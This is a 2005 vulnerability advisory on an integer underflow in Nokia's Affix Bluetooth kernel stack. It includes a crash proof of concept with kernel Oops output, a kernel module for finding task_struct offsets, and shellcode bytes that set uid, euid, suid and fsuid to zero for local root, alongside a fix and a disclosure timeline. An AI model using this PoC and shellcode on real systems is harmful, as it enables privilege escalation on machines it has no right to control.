DMA[2005-0423a] - 'Nokia Affix Bluetooth Integer Underflow'
DMA[2005-0423a] - 'Nokia Affix Bluetooth Integer Underflow'
Author: Kevin Finisterre
Vendor: http://www-nrc.nokia.com/affix/, http://affix.sourceforge.net
Product: 'affix-kernel'
References:
http://www.digitalmunition.com/DMA[2005-0423a].txt
Description:
Nokia believes that effective research and development is vital to remaining
competitive in the
mobile communications industry. As of December 31, 2004, they employed 20,722
people in research
and development centers in 12 countries. Nokia invests a substantial portion of
its resources in
research and development activities within its principal business groups as
well as in the Nokia
Research Center.
The Nokia Research Center acts as a link between basic industry research and
product development.
It responsible for the product development needs of Nokia's business groups, as
well as for carrying
out Nokia's longer-term research.
In case you were currious the NRC looks pretty plushed out too!
http://www.tsi.fi/nrc1_e.html,
http://www.tsi.fi/nrc2_e.html
Affix is a Bluetooth Protocol Stack for Linux that was developed by the Nokia
Research Center in
Helsinki and released under GPL. Affix supports the core Bluetooth protocols
like HCI, L2CAP 1.1,
L2CAP 1.2, RFCOMM, SDP and various Bluetooth profiles. Affix consists of
'affix-kernel' which
provides kernel modules and 'affix' which provides control tools, libraries,
and server daemons.
Although Nokia believes that Affix is an useful piece of software, please bear
in mind that it is
not an official Nokia product, but a result of the research activity of Nokia
Research Center.
The following code was found in modules/btcore/hci.c from Affix.
struct net_proto_family *btprotos[BTPROTO_MAX];
int affix_sock_register(struct net_proto_family *pf, int protocol)
{
if (protocol >= BTPROTO_MAX)
return -EINVAL;
if (btprotos[protocol])
return -EEXIST;
btprotos[protocol] = pf;
return 0;
}
As you can see from this snippet, if a negative value is passed to the protocol
variable the
bounds checking for this function will be bypassed. Shortly after the bounds
check the value
of the protocol variable is used as an index to an array. This vulnerability is
very similar
to the issue found by Ilja van Sprundel in the kernel-bluez package so it is
likely that this
bug will result in a local root compromise.
The following proof of concept code is enough to demonstrate the vulnerability.
/*
Nokia Affix Bluetooth Signed Buffer Index PoC
- kf_lists[at]digitalmunition[dot]com
*/
#include <sys/socket.h>
#include <affix/bluetooth.h>
#include <affix/hci_cmds.h>
#include <affix/hci_types.h>
main()
{
int ctl;
if ((ctl = socket(PF_AFFIX, SOCK_RAW, -31337)) < 0)
{
perror("Something went wrong?");
exit(1);
}
}
kfinisterre@jdam:/tmp/affix-2.1.1$ cc -o bug bug.c
kfinisterre@jdam:/tmp/affix-2.1.1$ ./bug
Segmentation fault
Upon running the above code your kernel should 'Oops' as shown below:
Code: Bad EIP value.
invalid operand: 0000
CPU: 0
EIP: 0010:[<bfffeeb2>] Not tainted
EFLAGS: 00210282
eax: c83ea8e0 ebx: ffffad97 ecx: c83ea8e0 edx: c6000001
esi: 0000001b edi: 00000003 ebp: c452df14 esp: c452c97c
ds: 0018 es: 0018 ss: 0018
Process bug (pid: 3329, stackpage=c452d000)
Stack: 203a726f 65756c62 0a7d0a3b 2031680a 20200a7b 70736964 3a79616c 6f6c6220
0a3b6b63 6f662020 732d746e 3a657a69 6d653220 20200a3b 746e6f66 6965772d
3a746867 6c6f6220 200a3b64 72616d20 3a6e6967 37362e20 30206d65 0a7d0a3b
Call Trace: [<c01365ab>] [<c012f73d>] [<c0134ac1>] [<c012b469>] [<c012b587>]
[<c01185d8>] [<c012b587>] [<c012e5ee>] [<c012eb90>] [<c02263e2>] [<c0118410>]
[<c0108cfc>] [<c01254d9>] [<c01254d9>] [<c014c9ff>] [<c01254d9>] [<c014c9ff>]
[<c014cae2>] [<c014cae2>] [<c01ac310>] [<c01244a6>] [<c01365ab>] [<c01209a2>]
[<c01208b6>] [<c01367dc>] [<c012b6ab>] [<c012b587>] [<c01185d8>] [<c01254d9>]
[<c011fac0>] [<c01244a6>] [<c0124a80>] [<c01209a2>] [<c01208b6>] [<c010a69a>]
[<c0118410>] [<c0108cfc>] [<d7945a1c>] [<c01c0f7f>] [<c012c651>] [<c01c103b>]
[<c01c1f18>] [<c0118410>] [<c0108cfc>] [<c0108c0b>]
qobaiashi was able to create a working exploit for the condition in
kernel-bluez,
so as mentioned above it is likely that this bug will yeild local root. I
attempted
to modify http://home.paf.net/qobaiashi/ong_bak.c in an effort to exploit this
issue
but I did not have much luck. The kernel is obviously(!) not yet my playground.
I have
however included a few notes below that may help in developing an exploit for
this
condition.
One problem I ran into when trying to modify ong_bak.c was that qobaiashi and I
were
not trying to exploit the same kernel version. I would need to modify his
shellcode
before anything would work.
Since I don't really have the slightest clue about kernel exploitation I had to
bug
both qobaiashi as well as some folks on a private mailing list for some help on
fixing
the shellcode.
Philippe Biondi explained to me that qobaiashi's shellcode is 'quite simple',
-q's shellcode
first finds the task_struct of the current process, next it finds the
task_struct of the
father process and finally it overwrites the uid, euid, suid and fsuid of these
processes
with 0x00. This will effectively give both our exploit and our current shell
root.
I was told that in order for the shellcode that qobaiashi wrote to work I would
need to
calculate the offsets needed for my kernel version. <linux/sched.h> defines
task_struct
so we can just write a simple program to extract the offsets.
/*
* gcc -c -Wall -I /usr/src/kernel-source-2.4.27/include/ get_offsets.c
*/
#define __KERNEL__
#define MODULE
#include <linux/modversions.h>
#include <linux/module.h>
#include <linux/sched.h>
struct task_struct tsk;
int init_module()
{
printk("task_struct offsets:\n");
printk("tsk %p\n", &tsk);
printk("tsk father %p\n", &tsk.p_pptr);
printk("uid %p\n", &tsk.uid);
printk("euid %p\n", &tsk.euid);
printk("suid %p\n", &tsk.suid);
printk("fsuid %p\n", &tsk.fsuid);
return 0;
}
void cleanup_module()
{
printk("Later bitches!\n");
}
Just compile the above code and insmod it into the kernel.
jdam:/home/kfinisterre# gcc -c -Wall -I /usr/src/kernel-source-2.4.27/include/
get_offsets.c
jdam:/home/kfinisterre# insmod ./get_offsets.o
Warning: loading ./get_offsets.o will taint the kernel: no license
See http://www.tux.org/lkml/#export-tainted for information about
tainted modules
Module get_offsets loaded, with warnings
jdam:/home/kfinisterre# rmmod get_offsets
jdam:/home/kfinisterre# dmesg | tail -n 7
tsk d7931240
tsk father d79312d8 = 0x98
uid d793136c = 0x12c
euid d7931370 = 0x130
suid d7931374 = 0x134
fsuid d7931378 = 0x138
Later Bitches!
The offsets 0x98 0x12c 0x130 0x134 and 0x138 can be plugged into -q's shellcode
as follows.
//leave the next line out if only your exploit should become root
"\x8b\x80\x98\x00\x00\x00"// mov 0x98(%eax),%eax
eax=ptr-to->parents->task_struct
"\x89\xb0\x2c\x01\x00\x00"// mov %esi,0x12c(%eax)
"\x89\xb0\x30\x01\x00\x00"// mov %esi,0x130(%eax)
"\x89\xb0\x34\x01\x00\x00"// mov %esi,0x134(%eax)
"\x89\xb0\x38\x01\x00\x00"// mov %esi,0x138(%eax)
Several folks suggested that I look into http://oss.sgi.com/projects/kgdb/ in
order to work
on debugging and exploiting this issue. Unfortunately since I am too lazy to
continue trying
to figure out how to get kgdb working there will be no exploit provided with
this advisory.
Hopefully these notes are of some use... enjoy.
Workaround:
In bluez the issue was fixed via the following snippet.
- if (proto >= BLUEZ_MAX_PROTO)
+ if (proto < 0 || proto >= BLUEZ_MAX_PROTO)
I guess for Affix this should work...
- if (protocol >= BTPROTO_MAX)
+ if (protocol < 0 || protocol >= BTPROTO_MAX)
Official patches for Affix can be found at http://affix.sourceforge.net (on
monday 04/25/2005)
This is basic timeline associated with this bug.
03/27/2005 suresec.org releases bluez_sock_create() integer underflow
04/09/2005 str0ke dropped ong_bak on milw0rm - http://milw0rm.com/id.php?id=9260
04/16/2005 Mail to dmitry.kasatkin and charlos.chinea of Nokia to report the
problem
04/18/2005 Carlos.Chinea stated that the bug will be 'fixed in the next release'
04/22/2005 Carlos.Chinea stated that he will pusblish the update on Monday, at
latest
Both BlueZ and Affix appear to borrow code from each other so perhaps the moral
of this
story is be careful where you borrow code from.
Thanks to Philippe Biondi, mcb and qobaiashi for answering my dumb questions!
-KF